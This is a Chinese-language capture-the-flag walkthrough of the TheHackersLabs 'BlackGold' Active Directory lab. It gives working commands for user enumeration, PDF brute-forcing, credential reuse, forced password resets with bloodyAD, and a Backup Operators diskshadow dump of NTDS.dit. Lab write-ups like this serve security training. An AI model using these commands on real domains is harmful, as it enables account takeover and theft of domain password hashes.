BlackGold

https://labs.thehackerslabs.com/machine/9

Recon

端口扫描

➜  BlackGold nmap -sP 192.168.56.0/24                  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-15 00:30 CST
Nmap scan report for 192.168.56.1
Host is up (0.00030s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00031s latency).
MAC Address: 08:00:27:B8:0A:4D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.10
Host is up (0.00038s latency).
MAC Address: 08:00:27:31:D9:78 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.5
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.11 seconds

➜  BlackGold nmap -sT -min-rate 10000 -p- 192.168.56.10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-15 00:32 CST
Nmap scan report for 192.168.56.10
Host is up (0.00066s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
65047/tcp open  unknown
65051/tcp open  unknown
65052/tcp open  unknown
65062/tcp open  unknown
65071/tcp open  unknown
MAC Address: 08:00:27:31:D9:78 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 26.45 seconds

➜  BlackGold nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 192.168.56.10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-15 00:33 CST
Nmap scan report for 192.168.56.10
Host is up (0.00038s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title:  Neptune
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-14 16:33:43Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: neptune.thl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: neptune.thl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
65047/tcp open  msrpc         Microsoft Windows RPC
65051/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
65052/tcp open  msrpc         Microsoft Windows RPC
65062/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:31:D9:78 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|11|2016 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_11 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (97%), Microsoft Windows 11 21H2 (91%), Microsoft Windows Server 2016 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-07-14T16:34:35
|_  start_date: N/A
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:31:d9:78 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
|_clock-skew: -2s

TRACEROUTE
HOP RTT     ADDRESS
1   0.38 ms 192.168.56.10

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.63 seconds

访问 HTTP 服务，通过IIS搭建

目录扫描，没发现什么可疑的文件夹

➜  BlackGold gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,zip -u http://192.168.56.10
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.10
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              zip,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 151] [--> http://192.168.56.10/images/]
/docs                 (Status: 301) [Size: 149] [--> http://192.168.56.10/docs/]
/Images               (Status: 301) [Size: 151] [--> http://192.168.56.10/Images/]
/css                  (Status: 301) [Size: 148] [--> http://192.168.56.10/css/]
/js                   (Status: 301) [Size: 147] [--> http://192.168.56.10/js/]
/Docs                 (Status: 301) [Size: 149] [--> http://192.168.56.10/Docs/]
/fonts                (Status: 301) [Size: 150] [--> http://192.168.56.10/fonts/]
/IMAGES               (Status: 301) [Size: 151] [--> http://192.168.56.10/IMAGES/]
/Fonts                (Status: 301) [Size: 150] [--> http://192.168.56.10/Fonts/]
/CSS                  (Status: 301) [Size: 148] [--> http://192.168.56.10/CSS/]
/JS                   (Status: 301) [Size: 147] [--> http://192.168.56.10/JS/]
/DOCS                 (Status: 301) [Size: 149] [--> http://192.168.56.10/DOCS/]
Progress: 661677 / 661680 (100.00%)
===============================================================
Finished
===============================================================

页面拉到下面可以下载 PDF 文件

图片上两个PDF内容都都是无用的，我们检查一下PDF元信息

➜  BlackGold pdfinfo 2024-02-15.pdf 
Title:           Certificado de Cumplimiento de Normativas Ambientales
Subject:         
Keywords:        
Author:          James Clear
Creator:         Neptune Oil & Gas
Producer:        pdf-lib (https://github.com/Hopding/pdf-lib)
CreationDate:    Thu Feb 15 11:00:00 2024 CST
ModDate:         
Custom Metadata: no
Metadata Stream: no
Tagged:          yes
UserProperties:  no
Suspects:        no
Form:            none
JavaScript:      no
Pages:           2
Encrypted:       no
Page size:       596 x 842 pts (A4)
Page rot:        0
File size:       58258 bytes
Optimized:       no
PDF version:     1.7

➜  BlackGold pdfinfo 2024-11-29.pdf 
Title:           Informe de Sostenibilidad 2024
Subject:         Informe sobre sostenibilidad y reducción de emisiones de CO2
Keywords:        
Author:          David Brown
Creator:         Neptune Oil & Gas
Producer:        ReportLab PDF Library - www.reportlab.com
CreationDate:    Thu Feb 27 06:07:22 2025 CST
ModDate:         Thu Feb 27 06:07:22 2025 CST
Custom Metadata: no
Metadata Stream: no
Tagged:          no
UserProperties:  no
Suspects:        no
Form:            none
JavaScript:      no
Pages:           1
Encrypted:       no
Page size:       612 x 792 pts (letter)
Page rot:        0
File size:       2110 bytes
Optimized:       no
PDF version:     1.5

作者信息中能得到两个用户名David.Brown 和 James.Clear ，可能是域用户

AS_REP Roasting ❌

得到两个用户名，首先尝试一下 ****AS_REP Roasting

➜  BlackGold GetNPUsers.py -dc-ip 192.168.56.10 -dc-host neptune.thl nwptune.htl/ -usersfile users.txt
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] Kerberos SessionError: KDC_ERR_WRONG_REALM(Reserved for future use)
[-] Kerberos SessionError: KDC_ERR_WRONG_REALM(Reserved for future use)

路径爆破

观察到下载PDF的路径是：http://192.168.56.10/docs/2024-11-29.pdf

是根据日期命名，我们尝试一下通过日期爆破一下

最后能爆破到192个PDF文档

这里使用yakit无法导出文件，所以还是需要写python脚本来爆破…

import requests
import datetime
import os

# --- 配置 ---
HOST = "192.168.56.10"
PORT = 80  # 根据需要修改 HTTP 端口
BASE_URL = f"http://{HOST}:{PORT}"

START_YEAR = 2023
END_YEAR = 2024  # 实际会检查到 2025 年

# 保存下载文件的目录名
OUTPUT_DIR = "found_pdfs"

# --- 主逻辑 ---
def fuzz_and_download():
    """
    遍历指定日期范围，尝试下载 PDF 文件。
    如果服务器返回 200 状态码，则将文件保存到本地。
    """
    print(f"[*] 开始爆破目标: {BASE_URL}")
    print(f"[*] 找到的 PDF 将保存在 ./{OUTPUT_DIR}/ 目录中")

    # 1. 如果输出目录不存在，则创建它
    if not os.path.exists(OUTPUT_DIR):
        os.makedirs(OUTPUT_DIR)
        print(f"[*] 已创建目录: {OUTPUT_DIR}")

    found_files_count = 0

    # 2. 遍历所有可能的日期
    for year in range(START_YEAR, END_YEAR + 1):
        for month in range(1, 13):
            for day in range(1, 32):
                
                # 验证日期是否有效，跳过如 2月30日 等
                try:
                    datetime.date(year, month, day)
                except ValueError:
                    continue

                # 格式化日期和 URL
                date_str = f"{year}-{month:02d}-{day:02d}"
                filename = f"{date_str}.pdf"
                url_path = f"/docs/{filename}"
                full_url = f"{BASE_URL}{url_path}"

                try:
                    # 打印单行进度条，end='\r' 让光标回到行首，实现动态更新
                    print(f"[*] 正在尝试: {full_url}   ", end='\r')

                    # 发送请求，stream=True 用于下载大文件，不会一次性读入内存
                    response = requests.get(full_url, timeout=5, stream=True)

                    # 3. 如果状态码为 200，则保存文件
                    if response.status_code == 200:
                        # 打印成功信息（在新的一行，避免被进度条覆盖）
                        print(f"\n[+] 成功! 找到文件: {full_url} (状态码: 200)")
                        
                        # 定义本地保存路径
                        file_path = os.path.join(OUTPUT_DIR, filename)
                        print(f"    -> 正在保存到: {file_path}...")

                        # 以二进制写模式 ('wb') 打开文件并写入内容
                        with open(file_path, 'wb') as f:
                            for chunk in response.iter_content(chunk_size=8192):
                                f.write(chunk)
                        
                        found_files_count += 1

                except requests.exceptions.RequestException as e:
                    # 如果发生连接错误，打印出来
                    print(f"\n[!] 连接错误: {full_url} - {e}")
    
    # 4. 结束时打印总结
    print("\n\n[*] 爆破完成。")
    if found_files_count > 0:
        print(f"[*] 共下载了 {found_files_count} 个 PDF 文件到 '{OUTPUT_DIR}' 目录。")
    else:
        print("[*] 未找到任何可用的文件。")

if __name__ == "__main__":
    fuzz_and_download()

用户枚举

将作者 author 和 Creator 信息截取出来

exiftool PDF/found_pdfs/* | grep -E 'Author|Creator' | grep -v 'Neptune Oil & Gas' | cut -d: -f 2 | sed 's/^ *//' | sort | uniq > users.txt

使用kerbrute 枚举

➜  BlackGold kerbrute -users users.txt -domain neptune.thl -dc-ip 192.168.56.10
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Valid user => Lucas.Miller
[*] No passwords were discovered :'(

找到用户名Lucas.Miller

再尝试一下再PDF文件中读取有关Lucas.Miller 的

➜  BlackGold pdfgrep -i 'Lucas.Miller' PDF/found_pdfs/*     
PDF/found_pdfs/2023-01-12.pdf:Estimado Lucas Miller,
PDF/found_pdfs/2023-01-12.pdf:   ● Nombre de usuario (Usuario AD): lucas.miller@neptune.thl

得到一串密码 E@6q%TnR7UEQSXywr8^@

测试凭据是否有效

➜  BlackGold nxc smb neptune.thl -u 'Lucas.Miller' -p 'E@6q%TnR7UEQSXywr8^@'
SMB         192.168.56.10   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:neptune.thl) (signing:True) (SMBv1:False) 
SMB         192.168.56.10   445    DC01             [+] neptune.thl\Lucas.Miller:E@6q%TnR7UEQSXywr8^@ 

➜  BlackGold nxc ldap neptune.thl -u 'Lucas.Miller' -p 'E@6q%TnR7UEQSXywr8^@'
LDAP        192.168.56.10   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:neptune.thl)
LDAP        192.168.56.10   389    DC01             [+] neptune.thl\Lucas.Miller:E@6q%TnR7UEQSXywr8^@

域分析

上 BloodHound 分析一波

➜  BlackGold bloodhound-python -d 'neptune.thl' -ns 192.168.56.10 --zip -c All -dc 'DC01.neptune.thl' -u 'Lucas.Miller' -p 'E@6q%TnR7UEQSXywr8^@' 
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: neptune.thl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.neptune.thl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC01.neptune.thl
INFO: Found 8 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.neptune.thl
INFO: Done in 00M 01S
INFO: Compressing output into 20250715122943_bloodhound.zip

users 组

观察了一下，用户Victor Rodriguez 的密码写在了Description 上

并且其属于IT组，在SMB中有一个IT的共享文件夹

远程管理组用户有两个，暂时是横向目标

横向移动

To emma.johnson

测试上面的凭据

➜  BlackGold nxc smb neptune.thl -u 'Victor.Rodriguez' -p 'H5gVCzzZkzJ#wGsT8u1$'
SMB         192.168.56.10   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:neptune.thl) (signing:True) (SMBv1:False) 
SMB         192.168.56.10   445    DC01             [+] neptune.thl\Victor.Rodriguez:H5gVCzzZkzJ#wGsT8u1$

SMB里面能得到一个powershell脚本

➜  BlackGold smbclient //192.168.56.10/IT -U neptune.thl/Victor.Rodriguez%'H5gVCzzZkzJ#wGsT8u1$'            
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Feb 27 08:14:40 2025
  ..                                DHS        0  Fri Feb 28 03:52:00 2025
  Scripts                             D        0  Thu Feb 27 08:16:55 2025

                10540543 blocks of size 4096. 7161242 blocks available
smb: \> cd Scripts\
smb: \Scripts\> ls
  .                                   D        0  Thu Feb 27 08:16:55 2025
  ..                                  D        0  Thu Feb 27 08:14:40 2025
  backup.ps1                          A     1957  Thu Feb 27 08:20:11 2025

                10540543 blocks of size 4096. 7161244 blocks available
smb: \Scripts\> get backup.ps1 
getting file \Scripts\backup.ps1 of size 1957 as backup.ps1 (382.2 KiloBytes/sec) (average 382.2 KiloBytes/sec)

打开后能得到用户emma.johnson 的凭据，密码：sb9TVndq8N@tUVMmP2@#

emma.johnson 是我们在上面看到在远程管理组里面的用户

➜  BlackGold nxc winrm neptune.thl -u 'emma.johnson' -p 'sb9TVndq8N@tUVMmP2@#'
WINRM       192.168.56.10   5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:neptune.thl)
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.56.10   5985   DC01             [+] neptune.thl\emma.johnson:sb9TVndq8N@tUVMmP2@# (Pwn3d!)

该用户能得到 user.txt

*Evil-WinRM* PS C:\Users\Emma Johnson\Desktop> type user.txt
a5xxxxxxxxxxxxxxxxxxxxxxxx

To thomas.brown

当前用户权限

下一个用户包是Thomas Brown ，因为他属于BACKUP OPERATORS

重新导入下BloodHound的数据

	bloodhound-python -d 'neptune.thl' -ns 192.168.56.10 --zip -c All -dc 'DC01.neptune.thl' -u 'emma.johnson' -p 'sb9TVndq8N@tUVMmP2@#'

GPO 滥用 ❌

能看到emma.johnson 有新的权限

该组策略影响很多用户

使用bloodyAD来实现

赋予emma.johnson自己拥有对该 GPO 的 genericAll 权限

➜  BlackGold bloodyAD -d 'neptune.thl' --dc-ip 192.168.56.10 -u 'emma.johnson' -p 'sb9TVndq8N@tUVMmP2@#' add genericAll 'CN={037ECEDE-7C98-4D00-95D5-4283F4271B0D},CN=POLICIES,CN=SYSTEM,DC=NEPTUNE,DC=THL' 'emma.johnson'
[+] emma.johnson has now GenericAll on CN={037ECEDE-7C98-4D00-95D5-4283F4271B0D},CN=POLICIES,CN=SYSTEM,DC=NEPTUNE,DC=THL

这里很奇怪，这里使用了好几个工具也无法利用

python3 GPOwned.py -u 'emma.johnson' -p 'sb9TVndq8N@tUVMmP2@#' -d 'neptune.thl' -dc-ip '192.168.56.10' -gpcmachine -gpoimmtask -name '{037ECEDE-7C98-4D00-95D5-4283F4271B0D}' -author 'neptune.thl\Administrador' -taskname 'Beautiful IOC' -taskdescription 'Hello World' -dstpath 'c:\windows\system32\calc.exe'

最后看了WP发现人家的和我不一样

Force Change PassWord

这里重新导入了一下机器，然后再次导入新的数据，就可以看到emma.johnson可以修改thomas的密码

通过 BloodAD修改密码

➜  BlackGold bloodyAD -d 'neptune.thl' --dc-ip 192.168.56.10 -u 'emma.johnson' -p 'sb9TVndq8N@tUVMmP2@#' set password thomas.brown Admin@123
[+] Password changed successfully!

登录thomas.brown账户

转储 NTDS

上面我们就知道thomas.brown 属于BACKUP OPERATORS 组

whoami信息中也能看出来

利用：https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=backup%20op#using-diskshadowexe

因为winrm是非交互会话，我们需要对其进行修改

echo "set context persistent nowriters" > C:\Windows\Temp\ntds_shadow.txt
echo "add volume C: alias shadow_c" >> C:\Windows\Temp\ntds_shadow.txt
echo "create" >> C:\Windows\Temp\ntds_shadow.txt
echo "expose %shadow_c% Z:" >> C:\Windows\Temp\ntds_shadow.txt
diskshadow /s C:\Windows\Temp\ntds_shadow.txt

robocopy /B Z:\Windows\NTDS\ C:\rev ntds.dit
robocopy /B Z:\Windows\System32\config\ C:\rev SYSTEM

再通过 secretdump 转储出来

总结

常规思路，除了有些坑

TheHackersLabs - BlackGold